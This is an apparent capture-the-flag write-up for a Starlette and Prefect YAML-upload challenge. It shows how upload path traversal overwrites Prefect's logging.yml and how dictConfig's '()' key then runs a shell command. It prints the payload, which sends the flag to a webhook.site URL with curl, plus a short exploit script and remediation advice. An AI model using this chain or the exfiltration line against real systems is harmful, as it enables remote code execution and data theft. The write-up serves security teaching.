webfreemedium

yaml-practice

b01lersc 2026

Task: a Starlette YAML validator backed by Prefect accepted uploaded .yml files and only checked the filename suffix. Solution: use path traversal to overwrite Prefect's packaged logging.yml, then trigger dictConfig-based command execution during /validate and exfiltrate the flag.

$ ls tags/ techniques/
path_traversal_uploadconfig_file_hijackdictconfig_callable_injectionout_of_band_exfiltration

yaml-practice — b01lersc 2026

Overview

yaml-practice is a small Starlette application that uploads YAML files and validates them through a Prefect flow. The bug is not in YAML parsing itself, but in how the upload endpoint handles filenames: it only checks that the suffix is .yml, then writes the file to UPLOAD_DIR / safe_name without normalizing traversal sequences.

That gives an arbitrary file overwrite primitive. The winning target is Prefect's packaged logging configuration at ../.venv/lib/python3.14/site-packages/prefect/logging/logging.yml. After replacing that file with a malicious logging config, a call to /validate causes Prefect to load it with yaml.safe_load(...) and pass it into logging.config.dictConfig(...), which can instantiate attacker-controlled callables.

An earlier knowledge-base writeup, Resourcehub Core, suggested looking for arbitrary file overwrite through upload handling, but this challenge is a different exploit chain: Python + Prefect + logging configuration abuse rather than Node/route overwrite.

Source Analysis

The important application logic is short:

def check_filename(filename: str) -> str: if Path(filename).suffix.lower() != ALLOWED_EXTENSION: raise ValueError("Only .yml files are allowed.") return filename async def upload_yaml(request: Request) -> JSONResponse: ... safe_name = check_filename(filename) ... file_path = UPLOAD_DIR / safe_name file_path.write_text(decoded_contents) async def validate_yaml(request: Request) -> JSONResponse: ... result = validate_yaml_flow(file_path)

The critical detail is that check_filename() validates only the suffix:

  • Path(filename).suffix.lower() == ".yml"
  • no resolve()
  • no .. rejection
  • no basename enforcement on upload

So a filename like:

../.venv/lib/python3.14/site-packages/prefect/logging/logging.yml

passes validation because its suffix is still .yml, and the server writes outside uploads/.

The /validate route later calls validate_yaml_flow(file_path). That enters Prefect internals, and Prefect loads its logging configuration from prefect/logging/logging.yml. That file is parsed with yaml.safe_load and then fed to logging.config.dictConfig.

Vulnerability

This is an exploit chain built from two behaviors:

  1. Arbitrary file overwrite via upload traversal
    The upload code accepts traversal in the submitted filename and writes to UPLOAD_DIR / safe_name directly.

  2. Code execution via malicious logging configuration
    Python logging's dictConfig supports the special "()" key, which resolves and instantiates a callable. If we can replace Prefect's logging.yml, we can make logging initialization execute subprocess.run.

The essential payload was:

{version: 1, formatters: {x: {"()": subprocess.run, args: [sh, -c, "/readflag give me the flag|curl -s -d @- https://webhook.site/<TOKEN>"]}}}

and it was uploaded under the traversal filename:

../.venv/lib/python3.14/site-packages/prefect/logging/logging.yml

Exploitation

1. Overwrite Prefect's packaged logging.yml

We uploaded the malicious YAML above using the traversal filename. The endpoint accepted it because the suffix check still saw .yml.

2. Upload any ordinary YAML file

Next, we uploaded a benign file such as u.yml with content a: 1. This is the file referenced by the later validation request.

3. Trigger Prefect through /validate

We sent:

POST /validate Content-Type: application/json {"filename":"u.yml"}

During flow startup/logging initialization, Prefect loaded the overwritten logging.yml, deserialized it, and executed logging.config.dictConfig(...). That caused the "()": subprocess.run entry to run our shell command.

4. Exfiltrate the flag out-of-band

The command used:

/readflag give me the flag|curl -s -d @- https://webhook.site/<TOKEN>

Even if /validate hung or returned HTTP 500, the payload had already executed. Local testing first returned the fake development flag bctf{fake_flag}; the live instance returned the real flag.

A minimal exploit flow is therefore:

traversal = "../.venv/lib/python3.14/site-packages/prefect/logging/logging.yml" payload = '{version: 1, formatters: {x: {"()": subprocess.run, args: [sh, -c, "/readflag give me the flag|curl -s -d @- https://webhook.site/<TOKEN>"]}}}' upload(traversal, payload) upload("u.yml", "a: 1") post_validate({"filename": "u.yml"})

Final Flag

bctf{why_does_prefect_have_packaged_yaml}

Remediation

  • Reject traversal by storing uploads under Path(filename).name or a server-generated filename.
  • Normalize and verify resolved paths stay inside the upload directory before writing.
  • Never let user-controlled files overwrite package files or runtime configuration.
  • Avoid dangerous dictConfig features for untrusted configuration, especially "()" callables.
  • Run the app in an isolated environment with read-only dependencies where possible.

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md